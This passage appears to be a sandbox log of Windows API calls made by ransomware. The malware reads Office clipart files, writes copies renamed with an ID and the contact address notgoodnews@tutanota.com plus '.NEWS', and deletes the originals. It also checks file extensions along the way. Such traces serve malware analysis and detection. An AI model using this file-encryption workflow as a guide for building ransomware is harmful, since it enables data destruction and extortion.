dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0251.943] GetLastError () returned 0x0 [0251.943] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0251.961] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0251.965] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.965] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.966] SetEndOfFile (hFile=0x3d4) returned 1 [0251.966] CloseHandle (hObject=0x3d4) returned 1 [0251.967] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.967] SetEndOfFile (hFile=0x384) returned 1 [0251.975] CloseHandle (hObject=0x384) returned 1 [0251.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0251.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.977] lstrlenW (lpString=".doc") returned 4 [0251.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0251.977] lstrlenW (lpString=".docx") returned 5 [0251.977] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0251.977] lstrlenW (lpString=".pdf") returned 4 [0251.977] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0251.977] lstrlenW (lpString=".xls") returned 4 [0251.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0251.978] lstrlenW (lpString=".xlsx") returned 5 [0251.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0251.978] lstrlenW (lpString=".ppt") returned 4 [0251.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0251.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.978] lstrlenW (lpString=".zip") returned 4 [0251.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0251.978] lstrlenW (lpString=".rar") returned 4 [0251.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0251.978] lstrlenW (lpString=".bz2") returned 4 [0251.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0251.979] lstrlenW (lpString=".7z") returned 3 [0251.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0251.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.979] lstrlenW (lpString=".dbf") returned 4 [0251.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0251.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.979] lstrlenW (lpString=".1cd") returned 4 [0251.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0251.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.979] lstrlenW (lpString=".jpg") returned 4 [0251.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0251.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.980] lstrlenW (lpString=".doc") returned 4 [0251.980] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0251.980] lstrlenW (lpString=".docx") returned 5 [0251.980] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0251.980] lstrlenW (lpString=".pdf") returned 4 [0251.980] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0251.980] lstrlenW (lpString=".xls") returned 4 [0251.980] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0251.981] lstrlenW (lpString=".xlsx") returned 5 [0251.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0251.981] lstrlenW (lpString=".ppt") returned 4 [0251.981] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0251.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.981] lstrlenW (lpString=".zip") returned 4 [0251.981] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0251.981] lstrlenW (lpString=".rar") returned 4 [0251.981] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0251.981] lstrlenW (lpString=".bz2") returned 4 [0251.981] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0251.981] lstrlenW (lpString=".7z") returned 3 [0251.982] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0251.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.982] lstrlenW (lpString=".dbf") returned 4 [0251.982] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0251.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.982] lstrlenW (lpString=".1cd") returned 4 [0251.982] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0251.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0251.982] lstrlenW (lpString=".jpg") returned 4 [0251.982] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0251.983] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0251.983] lstrlenW (lpString="BD19827_.WMF") returned 12 [0251.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.984] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=9710) returned 1 [0251.984] CloseHandle (hObject=0x384) returned 1 [0251.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0251.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0251.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.985] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.986] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0251.987] GetLastError () returned 0x0 [0251.987] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0252.353] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0252.381] ReadFile (in: hFile=0x384, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.381] WriteFile (in: hFile=0x3d4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.382] SetEndOfFile (hFile=0x3d4) returned 1 [0252.382] CloseHandle (hObject=0x3d4) returned 1 [0252.382] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.383] SetEndOfFile (hFile=0x384) returned 1 [0252.941] CloseHandle (hObject=0x384) returned 1 [0252.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0253.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.169] lstrlenW (lpString=".doc") returned 4 [0253.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.169] lstrlenW (lpString=".docx") returned 5 [0253.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.169] lstrlenW (lpString=".pdf") returned 4 [0253.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.169] lstrlenW (lpString=".xls") returned 4 [0253.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.169] lstrlenW (lpString=".xlsx") returned 5 [0253.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.170] lstrlenW (lpString=".ppt") returned 4 [0253.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.170] lstrlenW (lpString=".zip") returned 4 [0253.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.170] lstrlenW (lpString=".rar") returned 4 [0253.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.170] lstrlenW (lpString=".bz2") returned 4 [0253.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.170] lstrlenW (lpString=".7z") returned 3 [0253.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.171] lstrlenW (lpString=".dbf") returned 4 [0253.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.171] lstrlenW (lpString=".1cd") returned 4 [0253.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.171] lstrlenW (lpString=".jpg") returned 4 [0253.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.172] lstrlenW (lpString=".doc") returned 4 [0253.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.172] lstrlenW (lpString=".docx") returned 5 [0253.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.172] lstrlenW (lpString=".pdf") returned 4 [0253.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.173] lstrlenW (lpString=".xls") returned 4 [0253.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.173] lstrlenW (lpString=".xlsx") returned 5 [0253.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.173] lstrlenW (lpString=".ppt") returned 4 [0253.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.174] lstrlenW (lpString=".zip") returned 4 [0253.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.174] lstrlenW (lpString=".rar") returned 4 [0253.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.174] lstrlenW (lpString=".bz2") returned 4 [0253.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.174] lstrlenW (lpString=".7z") returned 3 [0253.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.175] lstrlenW (lpString=".dbf") returned 4 [0253.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.175] lstrlenW (lpString=".1cd") returned 4 [0253.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0253.175] lstrlenW (lpString=".jpg") returned 4 [0253.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.176] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0253.177] lstrlenW (lpString="BL00012_.WMF") returned 12 [0253.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0254.876] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=9818) returned 1 [0254.876] CloseHandle (hObject=0x15c) returned 1 [0254.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0255.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0255.361] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.362] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0260.003] GetLastError () returned 0x0 [0260.003] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x265a, lpOverlapped=0x0) returned 1 [0260.490] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0260.493] ReadFile (in: hFile=0x388, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.494] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.494] SetEndOfFile (hFile=0x3c8) returned 1 [0260.494] CloseHandle (hObject=0x3c8) returned 1 [0260.495] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.495] SetEndOfFile (hFile=0x388) returned 1 [0260.503] CloseHandle (hObject=0x388) returned 1 [0260.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0260.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.505] lstrlenW (lpString=".doc") returned 4 [0260.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.506] lstrlenW (lpString=".docx") returned 5 [0260.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.506] lstrlenW (lpString=".pdf") returned 4 [0260.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.506] lstrlenW (lpString=".xls") returned 4 [0260.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.506] lstrlenW (lpString=".xlsx") returned 5 [0260.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.506] lstrlenW (lpString=".ppt") returned 4 [0260.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.506] lstrlenW (lpString=".zip") returned 4 [0260.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.506] lstrlenW (lpString=".rar") returned 4 [0260.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.507] lstrlenW (lpString=".bz2") returned 4 [0260.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.507] lstrlenW (lpString=".7z") returned 3 [0260.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.507] lstrlenW (lpString=".dbf") returned 4 [0260.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.507] lstrlenW (lpString=".1cd") returned 4 [0260.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.507] lstrlenW (lpString=".jpg") returned 4 [0260.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.508] lstrlenW (lpString=".doc") returned 4 [0260.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.508] lstrlenW (lpString=".docx") returned 5 [0260.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.508] lstrlenW (lpString=".pdf") returned 4 [0260.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.508] lstrlenW (lpString=".xls") returned 4 [0260.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.509] lstrlenW (lpString=".xlsx") returned 5 [0260.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.509] lstrlenW (lpString=".ppt") returned 4 [0260.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.509] lstrlenW (lpString=".zip") returned 4 [0260.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.509] lstrlenW (lpString=".rar") returned 4 [0260.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.509] lstrlenW (lpString=".bz2") returned 4 [0260.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.509] lstrlenW (lpString=".7z") returned 3 [0260.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.510] lstrlenW (lpString=".dbf") returned 4 [0260.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.510] lstrlenW (lpString=".1cd") returned 4 [0260.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0260.510] lstrlenW (lpString=".jpg") returned 4 [0260.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.511] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.511] lstrlenW (lpString="BL00234_.WMF") returned 12 [0260.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.578] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=9304) returned 1 [0260.578] CloseHandle (hObject=0x39c) returned 1 [0260.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0260.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.607] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.607] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0262.406] GetLastError () returned 0x0 [0262.406] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x2458, lpOverlapped=0x0) returned 1 [0262.411] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, 